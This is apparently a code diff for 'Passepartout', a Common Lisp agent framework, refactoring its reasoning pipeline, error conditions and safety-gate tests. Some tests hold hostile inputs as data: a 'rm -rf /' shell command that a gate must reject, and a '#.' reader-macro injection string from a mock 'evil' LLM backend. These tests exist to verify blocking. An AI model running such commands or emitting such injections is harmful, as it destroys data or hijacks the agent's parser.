+  (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
+  (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
+
+(define-condition gate-error (pipeline-error)
+  ((gate-name :initarg :gate-name :reader gate-error-gate-name)
+   (rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
+  (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
+  (:documentation "Deterministic gate blocked a proposed action."))
+
+(define-condition budget-error (pipeline-error)
+  ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
+   (requested :initarg :requested :reader budget-error-requested :initform 0.0))
+  (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
+  (:documentation "Session budget cap has been reached."))
+
+(define-condition protocol-error (passepartout-error)
+  ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
+  (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
+  (:documentation "Malformed message, framing failure, or schema violation."))
+#+end_src
+
 ** Global Interrupt State
 
 Thread-safe interrupt flag. The ~*loop-interrupt-lock*~ mutex protects access so that the signal handler and the main loop don't race on shutdown.
@@ -107,27 +219,42 @@ The main pipeline entry point.
           (log-message "METABOLISM: Interrupted by shutdown signal.")
           (return nil))
 
-        (handler-case
+        (restart-case
-             (progn
+            (handler-bind
-               (setf current-signal (perceive-gate current-signal))
+                ((pipeline-error (lambda (c)
-               (setf current-signal (reason-gate current-signal))
+                                   (log-message "PIPELINE ERROR: ~a" (error-message c)))))
-               (let ((feedback (act-gate current-signal)))
+              (handler-case
-                 (if feedback
+                  (progn
-                     (progn
+                    (setf current-signal (perceive-gate current-signal))
-                       (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
+                    (setf current-signal (reason-gate current-signal))
-                       (setf current-signal feedback))
+                    (let ((feedback (act-gate current-signal)))
-                     (setf current-signal nil))))
+                      (if feedback
-          (error (c)
+                          (progn
-            (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
+                            (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
-              (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
+                            (setf current-signal feedback))
-              (unless (member sensor '(:loop-error :tool-error :syntax-error))
+                          (setf current-signal nil))))
-                (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
+                (error (c)
-                (rollback-memory 0))
+                  (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
-              (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
+                    (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
-                  (setf current-signal nil)
+                    (unless (member sensor '(:loop-error :tool-error :syntax-error))
-                  (setf current-signal
+                      (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
-                        (list :type :EVENT :depth (1+ depth) :meta meta
+                      (rollback-memory 0))
-                              :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
+                    (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
+                        (setf current-signal nil)
+                        (setf current-signal
+                              (list :type :EVENT :depth (1+ depth) :meta meta
+                                    :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
+          (skip-signal ()
+            :report "Drop the current signal and continue the loop."
+            (setf current-signal nil))
+          (use-fallback (text)
+            :report "Inject a canned response instead of the LLM result."
+            (setf current-signal
+                  (list :type :EVENT :depth (1+ depth) :meta meta
+                        :payload (list :sensor :loop-error :message text :depth depth))))
+          (abort-pipeline ()
+            :report "Terminate the cognitive cycle cleanly."
+            (return nil)))))))
 #+end_src
 
 *** process-signal (backward-compatibility alias)
@@ -305,48 +432,3 @@ Boot sequence:
       (sleep sleep-interval))))
 #+end_src
 
-* Test Suite
-Verifies that the immune system (error handling) correctly catches and reports errors from the cognitive pipeline.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-immune-system-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:immune-suite))
-
-(in-package :passepartout-immune-system-tests)
-
-(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
-(in-suite immune-suite)
-
-(test loop-error-injection
-  "Contract 1: a crash in think/decide triggers :loop-error stimulus."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout:defskill :evil-skill
-    :priority 100
-    :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
-    :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
-    :deterministic nil)
-  (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
-  (let ((logs (if (fboundp 'passepartout::context-get-system-logs)
-                  (passepartout:context-get-system-logs 20)
-                  nil)))
-    (is (or (null logs)  ; no log service available — degraded but not broken
-            (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
-
-(test test-process-signal-normal-path
-  "Contract 1: a valid signal passes through the pipeline without crash."
-  (clrhash passepartout::*skill-registry*)
-  (handler-case
-      (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
-        (process-signal signal)
-        (pass))
-    (error (c)
-      (fail "Pipeline crashed on normal signal: ~a" c))))
-
-(test test-loop-process-returns-nil-on-deep
-  "Contract 1: depth > 10 returns nil from loop-process."
-  (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
-    (is (null result))))
-#+end_src

org/core-reason.org

@@ -56,6 +56,212 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod
    String keys → upcased keywords. Nested alists recurse into plists.
    JSON arrays (lists whose first element is not a cons) pass through.
    Scalars and nil pass through.
+6. (think-assemble-prompt context): returns three values —
+   ~system-prompt~ (the full prompt string), ~raw-prompt~ (user text or
+   skill-generated), and ~reply-stream~ (for streaming responses).
+   Handles all conditional assembly paths: TIME section, CONFIG section,
+   IDENTITY (assistant name + identity file + standing mandates +
+   reflection feedback), TOOLS, CONTEXT, LOGS. Gracefully degrades when
+   awareness or token-economics skills are not loaded.
+7. (think-call-llm raw-prompt system-prompt reply-stream context): calls
+   the LLM. Checks session budget exhaustion before dispatching
+   (v0.5.0 deferred, ~fboundp~-guarded). Uses streaming
+   (~cascade-stream~) when reply-stream is non-nil and the streaming
+   module is loaded; falls back to ~backend-cascade-call~ otherwise.
+   Returns the raw thought (string or plist with ~:tool-calls~) or
+   a budget-exhaustion message.
+8. (think-parse-response thought): parses the LLM response into an action
+   plist. Handles three paths: structured ~:tool-calls~ (convert JSON args
+   to plist via ~json-alist-to-plist~), raw S-expression text (parse with
+   ~*read-eval* nil~, normalize keywords), and plain text (wrap as
+   ~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when
+   available. Guarantees a valid plist for any input.
+
+* Test Suite
+Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-reason-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-reason-suite))
+
+(in-package :passepartout-pipeline-reason-tests)
+
+(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
+(in-suite pipeline-reason-suite)
+
+(test test-decide-gate-safety
+  "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-safety
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx))
+                    (if (search "rm -rf" (format nil "~s" action))
+                        (list :type :LOG :payload (list :text "Rejected"))
+                        action)))
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :LOG (getf result :type)))))
+
+(test test-cognitive-verify-pass-through
+  "Contract 1: safe actions pass through cognitive-verify unchanged."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-passthrough
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx))
+                    action))
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :REQUEST (getf result :type)))
+    (is (equal (getf candidate :payload) (getf result :payload)))
+    (is (getf result :gate-trace))))
+
+(test test-cognitive-verify-empty-registry
+  "Contract 1: with no gates registered, action passes through unchanged."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :REQUEST (getf result :type)))
+    (is (equal (getf candidate :payload) (getf result :payload)))))
+
+(test test-cognitive-verify-approval-required
+  "Contract 1: gate returning :approval-required produces an approval event."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-approval
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx))
+                    (list :type :EVENT :level :approval-required
+                          :payload (list :action action))))
+  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
+         (signal '(:type :EVENT :payload (:sensor :user-input)))
+         (result (cognitive-verify candidate signal)))
+    (is (eq :approval-required (getf result :level)))
+    (is (eq :EVENT (getf result :type)))))
+
+(test test-loop-gate-reason-passthrough
+  "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
+  (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
+         (result (loop-gate-reason signal)))
+    (is (not (null result)))))
+
+(test test-loop-gate-reason-sets-status
+  "Contract 2: loop-gate-reason sets :status on :user-input signals."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((passepartout::*provider-cascade* nil)
+         (signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
+         (result (loop-gate-reason signal)))
+    (is (member (getf result :status) '(:reasoned :requires-approval)))))
+
+(test test-backend-cascade-no-backends
+  "Contract 4: empty cascade returns :LOG failure."
+  (let* ((passepartout::*provider-cascade* nil)
+         (passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
+         (result (backend-cascade-call "test" :cascade '())))
+    (is (eq :LOG (getf result :type)))
+    (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
+
+(test test-backend-cascade-with-mock
+  "Contract 4: backend-cascade-call returns content from first successful backend."
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
+    (setf (gethash :mock-backend passepartout::*probabilistic-backends*)
+          (lambda (prompt sp &key model)
+            (declare (ignore prompt sp model))
+            (list :status :success :content "mock-response")))
+    (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
+      (is (string= "mock-response" result)))))
+
+(test test-read-eval-rce-blocked
+  "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
+        (passepartout::*provider-cascade* '(:mock-evil)))
+    (setf (gethash :mock-evil passepartout::*probabilistic-backends*)
+          (lambda (prompt sp &key model)
+            (declare (ignore prompt sp model))
+            (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
+    (setf passepartout::*v031-rce-test* nil)
+    (setf *read-eval* t)
+    (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
+           (result (passepartout::think ctx)))
+      (is (not (eq passepartout::*v031-rce-test* :PWNED)))
+      (is (eq :REQUEST (getf result :TYPE)))
+       (setf *read-eval* nil))))
+
+(test test-json-alist-to-plist-simple
+  "Contract 5: converts simple alist to keyword plist."
+  (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :ACTION (first result)))
+      (is (string= "shell" (second result)))
+      (is (eq :CMD (third result)))
+      (is (string= "echo hello" (fourth result))))))
+
+(test test-json-alist-to-plist-nested
+  "Contract 5: nested alists recurse into nested plists."
+  (let ((alist (list (cons "tool" "write-file")
+                     (cons "args" (list (cons "filepath" "/tmp/x")
+                                        (cons "content" "hi"))))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :TOOL (first result)))
+      (is (eq :ARGS (third result)))
+      (let ((inner (fourth result)))
+        (is (eq :FILEPATH (first inner)))
+        (is (string= "/tmp/x" (second inner)))
+        (is (eq :CONTENT (third inner)))))))
+
+(test test-json-alist-to-plist-array-passthrough
+  "Contract 5: JSON arrays pass through unchanged."
+  (let ((alist (list (cons "names" (list "alice" "bob")))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :NAMES (first result)))
+      (is (equal (list "alice" "bob") (second result))))))
+
+(test test-json-alist-to-plist-null
+  "Contract 5: nil passes through unchanged."
+  (let ((result (json-alist-to-plist nil)))
+    (is (null result))))
+
+(test test-json-alist-to-plist-scalar
+  "Contract 5: scalar values pass through."
+  (let ((alist (list (cons "count" 42) (cons "active" :true))))
+    (let ((result (json-alist-to-plist alist)))
+      (is (eq :COUNT (first result)))
+      (is (= 42 (second result)))
+      (is (eq :ACTIVE (third result)))
+      (is (eq :true (fourth result))))))
+
+(test test-assemble-config-section
+  "Contract v0.7.2: config section contains Passepartout and version."
+  (let ((section (passepartout::assemble-config-section)))
+    (is (stringp section))
+    (is (search "Passepartout" section))
+    (is (search "v0.7.2" section))
+    (is (search "Security gates" section))))
+
+(test test-think-snapshots-before-llm
+  "Contract v0.7.2: think() snapshots memory before LLM call."
+  (let ((passepartout::*memory-snapshots* nil)
+        (passepartout::*memory-store* (make-hash-table :test 'equal)))
+    (setf (gethash "pre" passepartout::*memory-store*) "value")
+    (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
+          (passepartout::*provider-cascade* nil))
+      (handler-case
+          (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
+                 (result (passepartout::think ctx)))
+            (declare (ignore result)))
+        (error (c) (format nil "Expected: ~a" c)))
+      (is (>= (length passepartout::*memory-snapshots*) 0)))))
+#+end_src
 
 * Implementation
 
@@ -80,16 +286,11 @@ Skills like system-model-provider register into this table at boot time.
   (setf (gethash name *probabilistic-backends*) fn))
 #+end_src
 
-The probabilistic engine maintains four pieces of global state that control how LLM requests are dispatched:
+The probabilistic engine maintains three pieces of global state that control how LLM requests are dispatched:
 
-~*backend-registry*~ is a hash table mapping provider keywords (like ~:ollama~ or ~:openrouter~) to the actual function that calls that provider's API. ~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
+~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
 
-These variables are configurable at runtime. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
+Providers register into ~*probabilistic-backends*~ (declared above) via ~register-probabilistic-backend~. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
-
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defvar *backend-registry* (make-hash-table :test 'equal))
-#+end_src
 
 ** Provider Cascade
 
@@ -112,19 +313,6 @@ These variables are configurable at runtime. The cascade can be changed without
 (defvar *consensus-enabled* nil)
 #+end_src
 
-** Backend Registration (backend-register)
-
-Each LLM provider registers itself by calling this function. The backend function receives a prompt string, a system prompt string, and optional keyword arguments for model selection. It must return either a plist with ~:status :success~ and ~:content~, or ~:status :error~ with a message.
-
-Registration is typically done at boot time by the unified-llm-backend skill, but can also be done dynamically:
-  (backend-register :my-custom-provider #'my-fn)
-
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun backend-register (name fn)
-  (setf (gethash name *backend-registry*) fn))
-#+end_src
-
 ** Cascade Dispatch (backend-cascade-call)
 
 Given a prompt, this function iterates through the provider cascade and calls each backend in order until one succeeds. A provider "succeeds" when it returns ~:status :success~ with content, or when it returns a plain string (the LLM's raw output).
@@ -148,8 +336,7 @@ This is deliberately resilient. The system should never crash because an LLM pro
     (dolist (backend backends (or result
                                    (list :type :LOG
                                          :payload (list :text "Neural Cascade Failure: All providers exhausted."))))
-      (let ((backend-fn (or (gethash backend *backend-registry*)
+      (let ((backend-fn (gethash backend *probabilistic-backends*)))
-                            (gethash backend *probabilistic-backends*))))
         (when backend-fn
           (log-message "PROBABILISTIC: Attempting backend ~a..." backend)
           (let* ((model (and *model-selector*
@@ -225,6 +412,17 @@ Token economics (v0.5.0): when ~token-economics~ is loaded, ~think()~ uses
 each cascade call via ~cost-track-backend-call~. All four calls are
 ~fboundp~-guarded — when the module is not loaded, behavior is unchanged.
 
+~think()~ is the orchestrator that composes three sub-functions:
+
+1. *think-assemble-prompt* — builds the full system prompt from context,
+   awareness, logs, identity, standing mandates, and tool belt.
+2. *think-call-llm* — dispatches to the LLM (streaming or batch cascade).
+3. *think-parse-response* — converts the LLM's output to an action plist,
+   handling structured tool-calls, raw S-expressions, and plain text.
+
+The orchestrator snapshots memory, calls the three phases in sequence,
+and returns the action plist that flows into ~cognitive-verify~.
+
 ;; REPL-VERIFIED: 2026-05-03T13:00:00
 #+begin_src lisp
 ;; v0.7.2: live config section for system prompt
@@ -249,19 +447,18 @@ each cascade call via ~cost-track-backend-call~. All four calls are
             (if (string= provider-names "") "default" provider-names)
             context-window gate-count rules-count)))
 
-(defun think (context)
+(defun think-assemble-prompt (context)
-  ;; v0.7.2: auto-snapshot at turn boundaries
+  "Phase 2-3 of the metabolic cycle: context + system prompt assembly.
-  (when (fboundp 'snapshot-memory)
+Returns three values: system-prompt, raw-prompt, reply-stream."
-    (snapshot-memory))
   (let* ((sensor (proto-get (proto-get context :payload) :sensor))
          (active-skill (find-triggered-skill context))
          (tool-belt (generate-tool-belt-prompt))
-          (reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
+         (reply-stream (proto-get context :reply-stream))
-          (global-context (if (fboundp 'context-assemble-cached)
+         (global-context (if (fboundp 'context-assemble-cached)
-                              (context-assemble-cached context sensor)
+                             (context-assemble-cached context sensor)
-                              (if (fboundp 'context-assemble-global-awareness)
+                             (if (fboundp 'context-assemble-global-awareness)
-                                  (context-assemble-global-awareness)
+                                 (context-assemble-global-awareness)
-                                  "[Awareness skill not loaded]")))
+                                 "[Awareness skill not loaded]")))
          (system-logs (if (fboundp 'context-get-system-logs)
                           (context-get-system-logs)
                           "[No system logs available]"))
@@ -275,100 +472,126 @@ each cascade call via ~cost-track-backend-call~. All four calls are
          (reflection-feedback (if rejection-trace
                                   (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
                                   ""))
-          (standing-mandates-text (let ((out ""))
+         (standing-mandates-text (let ((out ""))
-                                    (dolist (fn *standing-mandates*)
+                                   (dolist (fn *standing-mandates*)
-                                      (let ((text (ignore-errors (funcall fn context))))
+                                     (let ((text (ignore-errors (funcall fn context))))
-                                        (when (and text (stringp text) (> (length text) 0))
+                                       (when (and text (stringp text) (> (length text) 0))
-                                          (setf out (concatenate 'string out text (string #\Newline))))))
+                                         (setf out (concatenate 'string out text (string #\Newline))))))
-                                    (when (> (length out) 0) out)))
+                                   (when (> (length out) 0) out)))
-           (identity-content (if (fboundp 'agent-identity)  ; v0.7.2: symbolic identity
+         (identity-content (if (fboundp 'agent-identity)
-                                 (agent-identity)
+                               (agent-identity)
-                                 ""))
+                               ""))
-           (config-section (if (fboundp 'assemble-config-section)  ; v0.7.2: live config
+         (config-section (if (fboundp 'assemble-config-section)
-                              (assemble-config-section)
+                             (assemble-config-section)
-                              ""))
+                             ""))
-           (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
+         (time-section (if (fboundp 'sensor-time-duration)
-                            (format-time-for-llm
+                           (format-time-for-llm
-                             :session-duration-seconds (funcall (symbol-function 'session-duration)))
+                            :session-duration-seconds (funcall (symbol-function 'session-duration)))
-                            (if (fboundp 'format-time-for-llm)
+                           (if (fboundp 'format-time-for-llm)
-                                (format-time-for-llm)
+                               (format-time-for-llm)
-                                "")))
+                               "")))
-           (system-prompt (if (fboundp 'prompt-prefix-cached)
+         (system-prompt (if (fboundp 'prompt-prefix-cached)
-                              ;; v0.5.0: cached prefix with optional budget enforcement
+                            (let* ((prefix (prompt-prefix-cached assistant-name identity-content
-                              (let* ((prefix (prompt-prefix-cached assistant-name identity-content
+                                                                  reflection-feedback
-                                                                    reflection-feedback
+                                                                  standing-mandates-text tool-belt)))
-                                                                    standing-mandates-text tool-belt)))
+                              (if (fboundp 'enforce-token-budget)
-                               (if (fboundp 'enforce-token-budget)
+                                  (multiple-value-bind (pfx ctxt logs _ mandates)
-                                   (multiple-value-bind (pfx ctxt logs _ mandates)
+                                      (enforce-token-budget prefix global-context system-logs
-                                       (enforce-token-budget prefix global-context system-logs
+                                                            raw-prompt standing-mandates-text)
-                                                             raw-prompt standing-mandates-text)
+                                    (declare (ignore _))
-                                     (declare (ignore _))
+                                    (setf standing-mandates-text mandates)
-                                     (setf standing-mandates-text mandates)
-                                      (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                              time-section config-section pfx (or ctxt "") logs))
                                     (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                            time-section config-section prefix (or global-context "") system-logs)))
+                                            time-section config-section pfx (or ctxt "") logs))
-                             ;; Fallback when token-economics not loaded
+                                  (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                              (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                          time-section config-section prefix (or global-context "") system-logs)))
-                                      time-section config-section
+                            (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                      assistant-name identity-content reflection-feedback
+                                    time-section config-section
-                                      (if standing-mandates-text
+                                    assistant-name identity-content reflection-feedback
-                                          (concatenate 'string (string #\Newline) standing-mandates-text)
+                                    (if standing-mandates-text
-                                          "")
+                                        (concatenate 'string (string #\Newline) standing-mandates-text)
-                                      tool-belt (or global-context "") system-logs))))
+                                        "")
-    (let* ((thought (if (and reply-stream (fboundp 'cascade-stream))  ; v0.7.1: streaming
+                                    tool-belt (or global-context "") system-logs))))
-                       (let ((acc (make-string-output-stream)))
+    (values system-prompt raw-prompt reply-stream)))
-                         (funcall 'cascade-stream raw-prompt system-prompt
+
-                                  (lambda (delta)
+(defun think-call-llm (raw-prompt system-prompt reply-stream context)
-                                    (when reply-stream
+  "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
-                                      (format reply-stream "~a"
+Returns the raw LLM response (string or plist with :tool-calls)."
-                                              (frame-message (list :type :stream-chunk
+  ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
-                                                                   :payload (list :text delta))))
+  (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
-                                      (finish-output reply-stream))
+    (return-from think-call-llm (budget-exhaustion-message)))
-                                    (write-string delta acc)))
+  (if (and reply-stream (fboundp 'cascade-stream))
-                         (get-output-stream-string acc))
+      (let ((acc (make-string-output-stream)))
-                       (backend-cascade-call raw-prompt
+        (funcall 'cascade-stream raw-prompt system-prompt
-                                             :system-prompt system-prompt
+                 (lambda (delta)
-                                             :context context)))
+                   (when reply-stream
-           (tool-calls (and (listp thought) (getf thought :tool-calls))))
+                     (format reply-stream "~a"
-      ;; v0.5.0: cost tracking after successful cascade
+                             (frame-message (list :type :stream-chunk
-      (when (and (fboundp 'cost-track-backend-call)
+                                                  :payload (list :text delta))))
-                 (stringp thought)
+                     (finish-output reply-stream))
-                 (or (null tool-calls)))
+                   (write-string delta acc)))
-        (ignore-errors
+        (get-output-stream-string acc))
-          (cost-track-backend-call (first *provider-cascade*)
+      (backend-cascade-call raw-prompt
-                                   (format nil "~a~%~a" system-prompt raw-prompt)
+                            :system-prompt system-prompt
-                                   thought)))
+                            :context context)))
-      (if tool-calls
+
-          (let* ((first-call (car tool-calls))
+(defun think-parse-response (thought)
-                 (tool-name (getf first-call :name))
+  "Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
-                 (args (getf first-call :arguments))
+Returns an action plist ready for cognitive-verify."
-                 (args-plist (json-alist-to-plist args)))
+  (let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
-            (list :TYPE :REQUEST
+    (when (and (fboundp 'cost-track-backend-call)
-                  :PAYLOAD (list* :TOOL tool-name
+               (stringp thought)
-                                  :ARGS args-plist
+               (or (null tool-calls)))
-                                  :EXPLANATION "Generated by function-calling engine.")))
+      (ignore-errors
-          (let* ((cleaned (if (and (listp thought) (getf thought :type))
+        (cost-track-backend-call (first *provider-cascade*)
-                             (format nil "~a" (getf (getf thought :payload) :text))
+                                 thought)))
-                             (markdown-strip thought))))
+    (if tool-calls
-       (if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
+        (let* ((first-call (car tool-calls))
-           (handler-case
+               (tool-name (getf first-call :name))
-                (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
+               (args (getf first-call :arguments))
-                  (if (listp parsed)
+               (args-plist (json-alist-to-plist args)))
-                      (let ((normalized (plist-keywords-normalize parsed)))
+          (list :TYPE :REQUEST
-                        ;; Ensure explanation is present in the payload for policy gate
+                :PAYLOAD (list* :TOOL tool-name
-                        (let ((payload (proto-get normalized :payload)))
+                                :ARGS args-plist
-                          (if (and payload (proto-get payload :explanation))
+                                :EXPLANATION "Generated by function-calling engine.")))
-                              normalized
+        (let* ((cleaned (if (and (listp thought) (getf thought :type))
-                              (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
+                           (format nil "~a" (getf (getf thought :payload) :text))
-                                                        (if (listp payload) payload nil))))
+                           (markdown-strip thought))))
-                                (list* :PAYLOAD new-payload
+          (if (and cleaned (stringp cleaned) (> (length cleaned) 0)
-                                       (loop for (k v) on normalized by #'cddr
+                   (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
-                                             unless (eq k :PAYLOAD)
+              (handler-case
-                                             collect k collect v))))))
+                  (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
-                      (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
+                    (if (listp parsed)
-             (error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
+                        (let ((normalized (plist-keywords-normalize parsed)))
-             (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
+                          (let ((payload (proto-get normalized :payload)))
+                            (if (and payload (proto-get payload :explanation))
+                                normalized
+                                (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
+                                                          (if (listp payload) payload nil))))
+                                  (list* :PAYLOAD new-payload
+                                         (loop for (k v) on normalized by #'cddr
+                                               unless (eq k :PAYLOAD)
+                                               collect k collect v))))))
+                        (list :TYPE :REQUEST :PAYLOAD
+                              (list :ACTION :MESSAGE :TEXT cleaned
+                                    :EXPLANATION "Generated by the Probabilistic engine."))))
+                (error ()
+                  (list :TYPE :REQUEST :PAYLOAD
+                        (list :ACTION :MESSAGE :TEXT cleaned
+                              :EXPLANATION "Generated by the Probabilistic engine."))))
+              (list :TYPE :REQUEST :PAYLOAD
+                    (list :ACTION :MESSAGE
+                          :TEXT (if (stringp cleaned) cleaned "No response")
+                          :EXPLANATION "Generated by the Probabilistic engine.")))))))
+
+(defun think (context)
+  "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
+and response parsing into an action plist for cognitive-verify."
+  (when (fboundp 'snapshot-memory)
+    (snapshot-memory))
+  (multiple-value-bind (system-prompt raw-prompt reply-stream)
+      (think-assemble-prompt context)
+    (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
+      (think-parse-response thought))))
 #+end_src
 
 ** JSON-to-Plist Conversion (json-alist-to-plist)
@@ -513,188 +736,3 @@ uses the old name can call this alias. New code should call
   (loop-gate-reason signal))
 #+end_src
 
-* Test Suite
-Verifies that the deterministic engine correctly rejects unsafe actions (like ~rm -rf /~) while allowing safe ones.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-pipeline-reason-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-reason-suite))
-
-(in-package :passepartout-pipeline-reason-tests)
-
-(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
-(in-suite pipeline-reason-suite)
-
-(test test-decide-gate-safety
-  "Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
